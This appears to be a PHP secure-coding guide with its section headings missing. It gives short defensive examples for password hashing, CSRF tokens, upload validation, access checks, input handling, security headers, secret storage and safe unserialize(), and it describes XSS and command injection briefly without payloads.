XSS occurs when an attacker injects malicious JavaScript into pages viewed by other users, often via unescaped user input rendered in HTML.

Never store plaintext or reversibly-encrypted passwords. Use PHP's built-in password_hash() which uses bcrypt (or Argon2) with automatic salting.

// Hashing on registration
$hashedPassword = password_hash($plainPassword, PASSWORD_DEFAULT);

// Verifying on login
if (password_verify($inputPassword, $hashedPassword)) {
    // Password is correct
}

// Checking if rehash is needed (e.g. after cost factor upgrade)
if (password_needs_rehash($hashedPassword, PASSWORD_DEFAULT)) {
    $newHash = password_hash($plainPassword, PASSWORD_DEFAULT);
}

CSRF (Cross-Site Request Forgery) tricks an authenticated user's browser into submitting a request they didn't intend, using their existing session cookies.

// Generate token and store in session
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

// In the form
<input type='hidden' name='csrf_token' value='<?= $_SESSION['csrf_token'] ?>'>

// On submit, verify
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'] ?? '')) {
    die('CSRF token mismatch');
}

Unrestricted file uploads can let attackers upload executable scripts disguised as images. Multiple layers of validation are needed.

$allowedTypes = ['image/jpeg', 'image/png', 'image/gif'];
$maxSize = 2 * 1024 * 1024; // 2MB

$fileInfo = finfo_open(FILEINFO_MIME_TYPE);
$mimeType = finfo_file($fileInfo, $_FILES['upload']['tmp_name']);

if (!in_array($mimeType, $allowedTypes)) {
    die('Invalid file type');
}
if ($_FILES['upload']['size'] > $maxSize) {
    die('File too large');
}

$newName = bin2hex(random_bytes(16)) . '.jpg';
move_uploaded_file($_FILES['upload']['tmp_name'], '/uploads/' . $newName);

// Authentication - verifying identity
if (password_verify($password, $user->password)) {
    session_regenerate_id(true);
    $_SESSION['user_id'] = $user->id;
}

// Authorization - checking permission
function requireRole($role) {
    if ($_SESSION['user_role'] !== $role) {
        http_response_code(403);
        die('Forbidden');
    }
}
requireRole('admin');

A common mistake is confusing the two - a user can be authenticated (logged in) but still not authorized for a specific action.

// Validation - reject bad input
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    die('Invalid email');
}

// Sanitization - clean input for safe use
$comment = strip_tags($_POST['comment']);
$safeOutput = htmlspecialchars($comment, ENT_QUOTES, 'UTF-8');

Validation happens on input (accept or reject); sanitization/escaping should ideally happen on output, tailored to the context (HTML, SQL, URL, etc.) it's being used in.

header("Content-Security-Policy: default-src 'self'");
header('X-Frame-Options: DENY');
header('X-Content-Type-Options: nosniff');
header('Strict-Transport-Security: max-age=31536000; includeSubDomains');

Sensitive credentials should never be hardcoded in source code or committed to version control. Use environment variables instead.

// .env file (added to .gitignore, never committed)
DB_PASSWORD=secret123
STRIPE_SECRET_KEY=sk_live_xxxxx

// Loading in PHP
$dbPassword = getenv('DB_PASSWORD');
// Or in Laravel
$stripeKey = config('services.stripe.secret');

For production, consider dedicated secret managers (AWS Secrets Manager, HashiCorp Vault) for extra rotation and access-control capabilities.

Command injection happens when user input is passed unsanitized into shell execution functions, letting attackers run arbitrary system commands.

PHP's unserialize() can instantiate objects and trigger magic methods (__wakeup, __destruct) from attacker-controlled data, potentially leading to remote code execution.

$data = unserialize($input, ['allowed_classes' => false]);